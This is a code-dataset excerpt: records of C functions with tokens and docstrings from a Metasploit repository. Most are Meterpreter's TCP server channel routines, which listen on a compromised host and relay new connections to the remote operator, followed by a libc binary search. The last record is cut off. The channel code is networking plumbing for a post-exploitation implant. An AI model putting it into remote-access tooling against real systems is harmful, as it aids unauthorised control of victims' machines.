[ "TcpClientContext", "*", "tcp_channel_server_create_client", "(", "TcpServerContext", "*", "serverctx", ",", "SOCKET", "sock", ")", "{", "DWORD", "dwResult", "=", "ERROR_SUCCESS", ";", "TcpClientContext", "*", "clientctx", "=", "NULL", ";", "StreamChannelOps", "chops", "=", "{", "0", "}", ";", "do", "{", "if", "(", "!", "serverctx", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "clientctx", "=", "(", "TcpClientContext", "*", ")", "malloc", "(", "sizeof", "(", "TcpClientContext", ")", ")", ";", "if", "(", "!", "clientctx", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_NOT_ENOUGH_MEMORY", ")", ";", "memset", "(", "clientctx", ",", "0", ",", "sizeof", "(", "TcpClientContext", ")", ")", ";", "clientctx", "->", "remote", "=", "serverctx", "->", "remote", ";", "clientctx", "->", "fd", "=", "sock", ";", "clientctx", "->", "notify", "=", "WSACreateEvent", "(", ")", ";", "if", "(", "clientctx", "->", "notify", "==", "WSA_INVALID_EVENT", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "if", "(", "WSAEventSelect", "(", "clientctx", "->", "fd", ",", "clientctx", "->", "notify", ",", "FD_READ", "|", "FD_CLOSE", ")", "==", "SOCKET_ERROR", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "memset", "(", "&", "chops", ",", "0", ",", "sizeof", "(", "StreamChannelOps", ")", ")", ";", "chops", ".", "native", ".", "context", "=", "clientctx", ";", "chops", ".", "native", ".", "write", "=", "tcp_channel_client_write", ";", "chops", ".", "native", ".", "close", "=", "tcp_channel_client_close", ";", "clientctx", "->", "channel", "=", "channel_create_stream", "(", "0", ",", "0", ",", "&", "chops", ")", ";", "if", "(", "!", "clientctx", "->", "channel", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "dwResult", "=", "scheduler_insert_waitable", "(", "clientctx", "->", "notify", ",", "clientctx", ",", "(", "WaitableNotifyRoutine", ")", "tcp_channel_client_local_notify", ")", ";", "}", "while", "(", "0", ")", ";", "if", "(", "dwResult", "!=", "ERROR_SUCCESS", ")", "{", "if", "(", "clientctx", ")", "{", "free", "(", "clientctx", ")", ";", "clientctx", "=", "NULL", ";", "}", "}", "return", "clientctx", ";", "}" ]
Create a TCP client channel from a socket.
[ "Create", "a", "TCP", "client", "channel", "from", "a", "socket", "." ]
[]
[ { "param": "serverctx", "type": "TcpServerContext" }, { "param": "sock", "type": "SOCKET" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "serverctx", "type": "TcpServerContext", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "sock", "type": "SOCKET", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a24bfa6268c089ad6da22e9a31a388a83be446c2
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
tcp_channel_server_notify
DWORD
DWORD tcp_channel_server_notify( Remote * remote, TcpServerContext * serverctx ) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext * clientctx = NULL; Packet * request = NULL; SOCKADDR_IN clientaddr = {0}; SOCKADDR_IN serveraddr = {0}; SOCKET sock = 0; DWORD size = 0; char * localhost = NULL; char * peerhost = NULL; int localport = 0; int peerport = 0; do { if( !serverctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. serverctx == NULL", ERROR_INVALID_HANDLE ); ResetEvent( serverctx->notify ); size = sizeof(SOCKADDR); sock = accept( serverctx->fd, (SOCKADDR *)&clientaddr, &size ); if( sock == INVALID_SOCKET ) { if( WSAGetLastError() == WSAEWOULDBLOCK ) { Sleep( 100 ); break; } BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_notify. accept failed" ); } dprintf( "[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverctx->channel), sock ); clientctx = tcp_channel_server_create_client( serverctx, sock ); if( !clientctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE ); size = sizeof(SOCKADDR); if( getsockname( serverctx->fd, (SOCKADDR *)&serveraddr, &size ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed" ); localhost = inet_ntoa( serveraddr.sin_addr ); if( !localhost ) localhost = ""; localport = ntohs( serveraddr.sin_port ); peerhost = inet_ntoa( clientaddr.sin_addr ); if( !peerhost ) peerhost = ""; peerport = ntohs( clientaddr.sin_port ); dprintf( "[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport ); request = packet_create( PACKET_TLV_TYPE_REQUEST, "tcp_channel_open" ); if( !request ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE ); packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel) ); packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverctx->channel) ); packet_add_tlv_string( request, TLV_TYPE_LOCAL_HOST, localhost ); packet_add_tlv_uint( request, TLV_TYPE_LOCAL_PORT, localport ); packet_add_tlv_string( request, TLV_TYPE_PEER_HOST, peerhost ); packet_add_tlv_uint( request, TLV_TYPE_PEER_PORT, peerport ); dwResult = packet_transmit( serverctx->remote, request, NULL ); } while( 0 ); return dwResult; }
/* * Notify routine for a tcp server channel to pick up its new client connections. */
Notify routine for a tcp server channel to pick up its new client connections.
[ "Notify", "routine", "for", "a", "tcp", "server", "channel", "to", "pick", "up", "its", "new", "client", "connections", "." ]
DWORD tcp_channel_server_notify( Remote * remote, TcpServerContext * serverctx ) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext * clientctx = NULL; Packet * request = NULL; SOCKADDR_IN clientaddr = {0}; SOCKADDR_IN serveraddr = {0}; SOCKET sock = 0; DWORD size = 0; char * localhost = NULL; char * peerhost = NULL; int localport = 0; int peerport = 0; do { if( !serverctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. serverctx == NULL", ERROR_INVALID_HANDLE ); ResetEvent( serverctx->notify ); size = sizeof(SOCKADDR); sock = accept( serverctx->fd, (SOCKADDR *)&clientaddr, &size ); if( sock == INVALID_SOCKET ) { if( WSAGetLastError() == WSAEWOULDBLOCK ) { Sleep( 100 ); break; } BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_notify. accept failed" ); } dprintf( "[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverctx->channel), sock ); clientctx = tcp_channel_server_create_client( serverctx, sock ); if( !clientctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE ); size = sizeof(SOCKADDR); if( getsockname( serverctx->fd, (SOCKADDR *)&serveraddr, &size ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed" ); localhost = inet_ntoa( serveraddr.sin_addr ); if( !localhost ) localhost = ""; localport = ntohs( serveraddr.sin_port ); peerhost = inet_ntoa( clientaddr.sin_addr ); if( !peerhost ) peerhost = ""; peerport = ntohs( clientaddr.sin_port ); dprintf( "[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport ); request = packet_create( PACKET_TLV_TYPE_REQUEST, "tcp_channel_open" ); if( !request ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE ); packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel) ); packet_add_tlv_uint( request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverctx->channel) ); packet_add_tlv_string( request, TLV_TYPE_LOCAL_HOST, localhost ); packet_add_tlv_uint( request, TLV_TYPE_LOCAL_PORT, localport ); packet_add_tlv_string( request, TLV_TYPE_PEER_HOST, peerhost ); packet_add_tlv_uint( request, TLV_TYPE_PEER_PORT, peerport ); dwResult = packet_transmit( serverctx->remote, request, NULL ); } while( 0 ); return dwResult; }
[ "DWORD", "tcp_channel_server_notify", "(", "Remote", "*", "remote", ",", "TcpServerContext", "*", "serverctx", ")", "{", "DWORD", "dwResult", "=", "ERROR_SUCCESS", ";", "TcpClientContext", "*", "clientctx", "=", "NULL", ";", "Packet", "*", "request", "=", "NULL", ";", "SOCKADDR_IN", "clientaddr", "=", "{", "0", "}", ";", "SOCKADDR_IN", "serveraddr", "=", "{", "0", "}", ";", "SOCKET", "sock", "=", "0", ";", "DWORD", "size", "=", "0", ";", "char", "*", "localhost", "=", "NULL", ";", "char", "*", "peerhost", "=", "NULL", ";", "int", "localport", "=", "0", ";", "int", "peerport", "=", "0", ";", "do", "{", "if", "(", "!", "serverctx", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "ResetEvent", "(", "serverctx", "->", "notify", ")", ";", "size", "=", "sizeof", "(", "SOCKADDR", ")", ";", "sock", "=", "accept", "(", "serverctx", "->", "fd", ",", "(", "SOCKADDR", "*", ")", "&", "clientaddr", ",", "&", "size", ")", ";", "if", "(", "sock", "==", "INVALID_SOCKET", ")", "{", "if", "(", "WSAGetLastError", "(", ")", "==", "WSAEWOULDBLOCK", ")", "{", "Sleep", "(", "100", ")", ";", "break", ";", "}", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "}", "dprintf", "(", "\"", "\"", ",", "channel_get_id", "(", "serverctx", "->", "channel", ")", ",", "sock", ")", ";", "clientctx", "=", "tcp_channel_server_create_client", "(", "serverctx", ",", "sock", ")", ";", "if", "(", "!", "clientctx", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "size", "=", "sizeof", "(", "SOCKADDR", ")", ";", "if", "(", "getsockname", "(", "serverctx", "->", "fd", ",", "(", "SOCKADDR", "*", ")", "&", "serveraddr", ",", "&", "size", ")", "==", "SOCKET_ERROR", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "localhost", "=", "inet_ntoa", "(", "serveraddr", ".", "sin_addr", ")", ";", "if", "(", "!", "localhost", ")", "localhost", "=", "\"", "\"", ";", "localport", "=", "ntohs", "(", "serveraddr", ".", "sin_port", ")", ";", "peerhost", "=", "inet_ntoa", "(", "clientaddr", ".", "sin_addr", ")", ";", "if", "(", "!", "peerhost", ")", "peerhost", "=", "\"", "\"", ";", "peerport", "=", "ntohs", "(", "clientaddr", ".", "sin_port", ")", ";", "dprintf", "(", "\"", "\"", ",", "localhost", ",", "localport", ",", "peerhost", ",", "peerport", ")", ";", "request", "=", "packet_create", "(", "PACKET_TLV_TYPE_REQUEST", ",", "\"", "\"", ")", ";", "if", "(", "!", "request", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "packet_add_tlv_uint", "(", "request", ",", "TLV_TYPE_CHANNEL_ID", ",", "channel_get_id", "(", "clientctx", "->", "channel", ")", ")", ";", "packet_add_tlv_uint", "(", "request", ",", "TLV_TYPE_CHANNEL_PARENTID", ",", "channel_get_id", "(", "serverctx", "->", "channel", ")", ")", ";", "packet_add_tlv_string", "(", "request", ",", "TLV_TYPE_LOCAL_HOST", ",", "localhost", ")", ";", "packet_add_tlv_uint", "(", "request", ",", "TLV_TYPE_LOCAL_PORT", ",", "localport", ")", ";", "packet_add_tlv_string", "(", "request", ",", "TLV_TYPE_PEER_HOST", ",", "peerhost", ")", ";", "packet_add_tlv_uint", "(", "request", ",", "TLV_TYPE_PEER_PORT", ",", "peerport", ")", ";", "dwResult", "=", "packet_transmit", "(", "serverctx", "->", "remote", ",", "request", ",", "NULL", ")", ";", "}", "while", "(", "0", ")", ";", "return", "dwResult", ";", "}" ]
Notify routine for a tcp server channel to pick up its new client connections.
[ "Notify", "routine", "for", "a", "tcp", "server", "channel", "to", "pick", "up", "its", "new", "client", "connections", "." ]
[]
[ { "param": "remote", "type": "Remote" }, { "param": "serverctx", "type": "TcpServerContext" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "serverctx", "type": "TcpServerContext", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a24bfa6268c089ad6da22e9a31a388a83be446c2
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_net_tcp_server_channel_open
DWORD
DWORD request_net_tcp_server_channel_open( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; TcpServerContext * ctx = NULL; Packet * response = NULL; char * lhost = NULL; SOCKADDR_IN saddr = {0}; StreamChannelOps chops = {0}; USHORT lport = 0; do { response = packet_create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY ); ctx = (TcpServerContext *)malloc( sizeof(TcpServerContext) ); if( !ctx ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY ); memset( ctx, 0, sizeof(TcpServerContext) ); ctx->remote = remote; lport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF ); if( !lport ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE ); lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); if( !lhost ) lhost = "0.0.0.0"; ctx->fd = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 ); if( ctx->fd == INVALID_SOCKET ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed" ); saddr.sin_family = AF_INET; saddr.sin_port = htons( lport ); saddr.sin_addr.s_addr = inet_addr( lhost ); if( bind( ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR) ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. bind failed" ); if( listen( ctx->fd, SOMAXCONN ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. listen failed" ); ctx->notify = WSACreateEvent(); if( ctx->notify == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed" ); if( WSAEventSelect( ctx->fd, ctx->notify, FD_ACCEPT ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed" ); memset( &chops, 0, sizeof(StreamChannelOps) ); chops.native.context = ctx; chops.native.close = tcp_channel_server_close; ctx->channel = channel_create_stream( 0, CHANNEL_FLAG_SYNCHRONOUS, &chops ); if( !ctx->channel ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE ); scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_server_notify ); packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) ); dprintf( "[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel) ); } while( 0 ); packet_transmit_response( dwResult, remote, response ); do { if( dwResult == ERROR_SUCCESS ) break; if( !ctx ) break; if( ctx->fd ) closesocket( ctx->fd ); if( ctx->channel ) channel_destroy( ctx->channel, packet ); free( ctx ); } while( 0 ); return ERROR_SUCCESS; }
/* * Allocates a streaming TCP server channel */
Allocates a streaming TCP server channel
[ "Allocates", "a", "streaming", "TCP", "server", "channel" ]
DWORD request_net_tcp_server_channel_open( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; TcpServerContext * ctx = NULL; Packet * response = NULL; char * lhost = NULL; SOCKADDR_IN saddr = {0}; StreamChannelOps chops = {0}; USHORT lport = 0; do { response = packet_create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY ); ctx = (TcpServerContext *)malloc( sizeof(TcpServerContext) ); if( !ctx ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY ); memset( ctx, 0, sizeof(TcpServerContext) ); ctx->remote = remote; lport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF ); if( !lport ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE ); lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); if( !lhost ) lhost = "0.0.0.0"; ctx->fd = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 ); if( ctx->fd == INVALID_SOCKET ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed" ); saddr.sin_family = AF_INET; saddr.sin_port = htons( lport ); saddr.sin_addr.s_addr = inet_addr( lhost ); if( bind( ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR) ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. bind failed" ); if( listen( ctx->fd, SOMAXCONN ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. listen failed" ); ctx->notify = WSACreateEvent(); if( ctx->notify == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed" ); if( WSAEventSelect( ctx->fd, ctx->notify, FD_ACCEPT ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed" ); memset( &chops, 0, sizeof(StreamChannelOps) ); chops.native.context = ctx; chops.native.close = tcp_channel_server_close; ctx->channel = channel_create_stream( 0, CHANNEL_FLAG_SYNCHRONOUS, &chops ); if( !ctx->channel ) BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE ); scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_server_notify ); packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) ); dprintf( "[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel) ); } while( 0 ); packet_transmit_response( dwResult, remote, response ); do { if( dwResult == ERROR_SUCCESS ) break; if( !ctx ) break; if( ctx->fd ) closesocket( ctx->fd ); if( ctx->channel ) channel_destroy( ctx->channel, packet ); free( ctx ); } while( 0 ); return ERROR_SUCCESS; }
[ "DWORD", "request_net_tcp_server_channel_open", "(", "Remote", "*", "remote", ",", "Packet", "*", "packet", ")", "{", "DWORD", "dwResult", "=", "ERROR_SUCCESS", ";", "TcpServerContext", "*", "ctx", "=", "NULL", ";", "Packet", "*", "response", "=", "NULL", ";", "char", "*", "lhost", "=", "NULL", ";", "SOCKADDR_IN", "saddr", "=", "{", "0", "}", ";", "StreamChannelOps", "chops", "=", "{", "0", "}", ";", "USHORT", "lport", "=", "0", ";", "do", "{", "response", "=", "packet_create_response", "(", "packet", ")", ";", "if", "(", "!", "response", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_NOT_ENOUGH_MEMORY", ")", ";", "ctx", "=", "(", "TcpServerContext", "*", ")", "malloc", "(", "sizeof", "(", "TcpServerContext", ")", ")", ";", "if", "(", "!", "ctx", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_NOT_ENOUGH_MEMORY", ")", ";", "memset", "(", "ctx", ",", "0", ",", "sizeof", "(", "TcpServerContext", ")", ")", ";", "ctx", "->", "remote", "=", "remote", ";", "lport", "=", "(", "USHORT", ")", "(", "packet_get_tlv_value_uint", "(", "packet", ",", "TLV_TYPE_LOCAL_PORT", ")", "&", "0xFFFF", ")", ";", "if", "(", "!", "lport", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "lhost", "=", "packet_get_tlv_value_string", "(", "packet", ",", "TLV_TYPE_LOCAL_HOST", ")", ";", "if", "(", "!", "lhost", ")", "lhost", "=", "\"", "\"", ";", "ctx", "->", "fd", "=", "WSASocket", "(", "AF_INET", ",", "SOCK_STREAM", ",", "IPPROTO_TCP", ",", "0", ",", "0", ",", "0", ")", ";", "if", "(", "ctx", "->", "fd", "==", "INVALID_SOCKET", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "saddr", ".", "sin_family", "=", "AF_INET", ";", "saddr", ".", "sin_port", "=", "htons", "(", "lport", ")", ";", "saddr", ".", "sin_addr", ".", "s_addr", "=", "inet_addr", "(", "lhost", ")", ";", "if", "(", "bind", "(", "ctx", "->", "fd", ",", "(", "SOCKADDR", "*", ")", "&", "saddr", ",", "sizeof", "(", "SOCKADDR", ")", ")", "==", "SOCKET_ERROR", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "if", "(", "listen", "(", "ctx", "->", "fd", ",", "SOMAXCONN", ")", "==", "SOCKET_ERROR", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "ctx", "->", "notify", "=", "WSACreateEvent", "(", ")", ";", "if", "(", "ctx", "->", "notify", "==", "WSA_INVALID_EVENT", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "if", "(", "WSAEventSelect", "(", "ctx", "->", "fd", ",", "ctx", "->", "notify", ",", "FD_ACCEPT", ")", "==", "SOCKET_ERROR", ")", "BREAK_ON_WSAERROR", "(", "\"", "\"", ")", ";", "memset", "(", "&", "chops", ",", "0", ",", "sizeof", "(", "StreamChannelOps", ")", ")", ";", "chops", ".", "native", ".", "context", "=", "ctx", ";", "chops", ".", "native", ".", "close", "=", "tcp_channel_server_close", ";", "ctx", "->", "channel", "=", "channel_create_stream", "(", "0", ",", "CHANNEL_FLAG_SYNCHRONOUS", ",", "&", "chops", ")", ";", "if", "(", "!", "ctx", "->", "channel", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "scheduler_insert_waitable", "(", "ctx", "->", "notify", ",", "ctx", ",", "(", "WaitableNotifyRoutine", ")", "tcp_channel_server_notify", ")", ";", "packet_add_tlv_uint", "(", "response", ",", "TLV_TYPE_CHANNEL_ID", ",", "channel_get_id", "(", "ctx", "->", "channel", ")", ")", ";", "dprintf", "(", "\"", "\"", ",", "lhost", ",", "lport", ",", "channel_get_id", "(", "ctx", "->", "channel", ")", ")", ";", "}", "while", "(", "0", ")", ";", "packet_transmit_response", "(", "dwResult", ",", "remote", ",", "response", ")", ";", "do", "{", "if", "(", "dwResult", "==", "ERROR_SUCCESS", ")", "break", ";", "if", "(", "!", "ctx", ")", "break", ";", "if", "(", "ctx", "->", "fd", ")", "closesocket", "(", "ctx", "->", "fd", ")", ";", "if", "(", "ctx", "->", "channel", ")", "channel_destroy", "(", "ctx", "->", "channel", ",", "packet", ")", ";", "free", "(", "ctx", ")", ";", "}", "while", "(", "0", ")", ";", "return", "ERROR_SUCCESS", ";", "}" ]
Allocates a streaming TCP server channel
[ "Allocates", "a", "streaming", "TCP", "server", "channel" ]
[]
[ { "param": "remote", "type": "Remote" }, { "param": "packet", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "packet", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
7eb63255f18d7a8adc52aa34c6a296b999ccd9cc
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/stdlib/bsearch.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
bsearch
void
void * bsearch(const void *key, const void *base0, size_t nmemb, size_t size, int (*compar)(const void *, const void *)) { const char *base = base0; int lim, cmp; const void *p; for (lim = nmemb; lim != 0; lim >>= 1) { p = base + (lim >> 1) * size; cmp = (*compar)(key, p); if (cmp > 0) { /* key > p: move right */ base = (char *)p + size; lim--; } else if (cmp == 0) { return ((void *)p); } /* else move left */ } return (NULL); }
/* * Perform a binary search. * * The code below is a bit sneaky. After a comparison fails, we * divide the work in half by moving either left or right. If lim * is odd, moving left simply involves halving lim: e.g., when lim * is 5 we look at item 2, so we change lim to 2 so that we will * look at items 0 & 1. If lim is even, the same applies. If lim * is odd, moving right again involes halving lim, this time moving * the base up one item past p: e.g., when lim is 5 we change base * to item 3 and make lim 2 so that we will look at items 3 and 4. * If lim is even, however, we have to shrink it by one before * halving: e.g., when lim is 4, we still looked at item 2, so we * have to make lim 3, then halve, obtaining 1, so that we will only * look at item 3. */
Perform a binary search. The code below is a bit sneaky. After a comparison fails, we divide the work in half by moving either left or right. If lim is odd, moving left simply involves halving lim: e.g., when lim is 5 we look at item 2, so we change lim to 2 so that we will look at items 0 & 1. If lim is even, the same applies. If lim is odd, moving right again involes halving lim, this time moving the base up one item past p: e.g., when lim is 5 we change base to item 3 and make lim 2 so that we will look at items 3 and 4. If lim is even, however, we have to shrink it by one before halving: e.g., when lim is 4, we still looked at item 2, so we have to make lim 3, then halve, obtaining 1, so that we will only look at item 3.
[ "Perform", "a", "binary", "search", ".", "The", "code", "below", "is", "a", "bit", "sneaky", ".", "After", "a", "comparison", "fails", "we", "divide", "the", "work", "in", "half", "by", "moving", "either", "left", "or", "right", ".", "If", "lim", "is", "odd", "moving", "left", "simply", "involves", "halving", "lim", ":", "e", ".", "g", ".", "when", "lim", "is", "5", "we", "look", "at", "item", "2", "so", "we", "change", "lim", "to", "2", "so", "that", "we", "will", "look", "at", "items", "0", "&", "1", ".", "If", "lim", "is", "even", "the", "same", "applies", ".", "If", "lim", "is", "odd", "moving", "right", "again", "involes", "halving", "lim", "this", "time", "moving", "the", "base", "up", "one", "item", "past", "p", ":", "e", ".", "g", ".", "when", "lim", "is", "5", "we", "change", "base", "to", "item", "3", "and", "make", "lim", "2", "so", "that", "we", "will", "look", "at", "items", "3", "and", "4", ".", "If", "lim", "is", "even", "however", "we", "have", "to", "shrink", "it", "by", "one", "before", "halving", ":", "e", ".", "g", ".", "when", "lim", "is", "4", "we", "still", "looked", "at", "item", "2", "so", "we", "have", "to", "make", "lim", "3", "then", "halve", "obtaining", "1", "so", "that", "we", "will", "only", "look", "at", "item", "3", "." ]
void * bsearch(const void *key, const void *base0, size_t nmemb, size_t size, int (*compar)(const void *, const void *)) { const char *base = base0; int lim, cmp; const void *p; for (lim = nmemb; lim != 0; lim >>= 1) { p = base + (lim >> 1) * size; cmp = (*compar)(key, p); if (cmp > 0) { base = (char *)p + size; lim--; } else if (cmp == 0) { return ((void *)p); } } return (NULL); }
[ "void", "*", "bsearch", "(", "const", "void", "*", "key", ",", "const", "void", "*", "base0", ",", "size_t", "nmemb", ",", "size_t", "size", ",", "int", "(", "*", "compar", ")", "(", "const", "void", "*", ",", "const", "void", "*", ")", ")", "{", "const", "char", "*", "base", "=", "base0", ";", "int", "lim", ",", "cmp", ";", "const", "void", "*", "p", ";", "for", "(", "lim", "=", "nmemb", ";", "lim", "!=", "0", ";", "lim", ">>=", "1", ")", "{", "p", "=", "base", "+", "(", "lim", ">>", "1", ")", "*", "size", ";", "cmp", "=", "(", "*", "compar", ")", "(", "key", ",", "p", ")", ";", "if", "(", "cmp", ">", "0", ")", "{", "base", "=", "(", "char", "*", ")", "p", "+", "size", ";", "lim", "--", ";", "}", "else", "if", "(", "cmp", "==", "0", ")", "{", "return", "(", "(", "void", "*", ")", "p", ")", ";", "}", "}", "return", "(", "NULL", ")", ";", "}" ]
Perform a binary search.
[ "Perform", "a", "binary", "search", "." ]
[ "/* key > p: move right */", "/* else move left */" ]
[ { "param": "key", "type": "void" }, { "param": "base0", "type": "void" }, { "param": "nmemb", "type": "size_t" }, { "param": "size", "type": "size_t" }, { "param": "compar", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "key", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "base0", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "nmemb", "type": "size_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "size", "type": "size_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "compar", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c72d4f7fd0e059d22b5b3f4176657dc499d3e3f0
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
__set_syscall_errno
int
